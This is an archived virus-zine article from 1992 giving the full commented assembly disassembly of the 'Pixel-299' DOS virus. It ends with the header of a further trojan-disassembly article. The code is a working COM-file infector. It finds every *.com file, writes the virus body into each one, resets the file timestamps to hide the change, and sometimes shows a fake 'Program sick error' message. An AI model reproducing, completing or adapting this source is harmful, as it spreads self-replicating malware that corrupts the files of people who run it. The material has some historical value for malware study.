home *** CD-ROM | disk | FTP | other *** search
-
-
- ;*****************************************************************************
-
- ;
-
- ; Pixel - 299 virus
-
- ;
-
- ; Disassembled By Admiral Bailey [YAM '92]
-
- ;
-
- ; Notes: I dont know where the hell I got this one from but when I found it on
-
- ; one of my disks it was named incorectly. Some Amst shit but I looked
-
- ; it up in the vsum and its named as Pixel so Il use that name.
-
- ; Anyways its just a plain com infecting virus that displays a messege
-
- ; when executed. Nothing big.
-
- ;
-
- ;*****************************************************************************
-
-
-
- data_1e equ 6Ch
-
- data_2e equ 96h
-
- data_3e equ 98h
-
- data_4e equ 9Eh
-
- data_15e equ 12Bh ;*
-
- data_16e equ 12Dh ;*
-
-
-
- seg_a segment byte public
-
- assume cs:seg_a, ds:seg_a
-
-
-
-
-
- org 100h
-
-
-
- Pixel proc far
-
-
-
- start:
-
- jmp short begin
-
- dw 5649h
-
- data_7 db 0
-
- data_8 db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 0 ; '*.com'
-
- data_10 dw 0, 8918h
-
- data_12 dw 0
-
-
-
- begin: ; loc_1:
-
- push ax
-
- mov ax,cs
-
- add ax,1000h
-
- mov es,ax
-
- inc data_7
-
- mov si,100h
-
- xor di,di ; Zero register
-
- mov cx,12Bh
-
- rep movsb ; Mov [si] to es:[di]
-
- mov dx,offset data_8 ; load the type of file to find
-
- mov cx,6 ; Im not sure what attrib
-
- mov ah,4Eh ; Find first file
-
- int 21h ;
-
-
-
- jc quit ; if none found then...
-
- get_file: ; loc_2
-
- mov dx,data_4e ; file name
-
- mov ax,3D02h ; open file
-
- int 21h
-
-
-
- mov bx,ax
-
- push es
-
- pop ds
-
- mov dx,data_15e ; buffer for read
-
- mov cx,0FFFFh ; number of bytes to read
-
- mov ah,3Fh ; read file
-
- int 21h
-
-
-
- add ax,12Bh
-
- mov cs:data_12,ax
-
- cmp word ptr ds:data_16e,5649h ; probably comparing size
-
- je not_this_file ; of file
-
- xor cx,cx ; Zero register
-
- mov dx,cx
-
- mov ax,4200h ; move file pointer
-
- int 21h
-
-
-
- jc not_this_file ; if error the quit this file
-
- xor dx,dx ; Zero register
-
- mov cx,cs:data_12
-
- mov ah,40h ; write virus to file
-
- int 21h
-
-
-
- mov cx,cs:data_2e ; old date
-
- mov dx,cs:data_3e ; new time
-
- mov ax,5701h ; set files date & time
-
- int 21h
-
-
-
- not_this_file: ; loc_3:
-
- mov ah,3Eh ; close this file
-
- int 21h
-
-
-
- push cs
-
- pop ds
-
- mov ah,4Fh ; find another file
-
- int 21h
-
-
-
- jc quit ; if none found quit
-
- jmp short get_file ; if found then infect
-
- quit: ; loc_4
-
- cmp data_7,5
-
- jb loc_5 ; Jump if below
-
- mov ax,40h
-
- mov ds,ax
-
- mov ax,ds:data_1e
-
- push cs
-
- pop ds
-
- and ax,1
-
- jz loc_5 ; Jump if zero
-
- mov dx,offset data_13 ; gets the messege
-
- mov ah,9 ; display string
-
- int 21h
-
-
-
- int 20h ; Quit program
-
-
-
- data_13 db 'Program sick error:Call doctor o' ; messege
-
- db 'r buy PIXEL for cure description' ; displayed when
-
- db 0Ah, 0Dh, '$' ; run
-
- loc_5:
-
- mov si,offset data_14
-
- mov cx,22h
-
- xor di,di ; Zero register
-
- rep movsb ; Rep when cx >0 Mov [si] to es
-
- pop bx
-
- mov cs:data_10,0
-
- mov word ptr cs:data_10+2,es
-
- jmp dword ptr cs:data_10
-
-
-
- data_14 db 1Eh ; cant figure this
-
- db 07h,0BEh, 2Bh, 02h,0BFh, 00h ; part out...
-
- db 01h,0B9h,0FFh,0FFh, 2Bh,0CEh ; probably infected
-
- db 0F3h,0A4h, 2Eh,0C7h, 06h, 00h ; file before.
-
- db 01h, 00h, 01h, 2Eh, 8Ch, 1Eh
-
- db 02h, 01h, 8Bh,0C3h, 2Eh,0FFh
-
- db 2Eh, 00h, 01h,0CDh ; this is an int 20h
-
- db 20h
-
-
-
- Pixel endp
-
-
-
- seg_a ends
-
-
-
- end start
-
-
-
-
-
- ─────────═════════>>> Article From Evolution #1 - YAM '92
-
-
-
- Article Title: Thrasher Trojan Disassembly
-
- Author: Natas Kaupas
-
-
-
-
-
-
-
-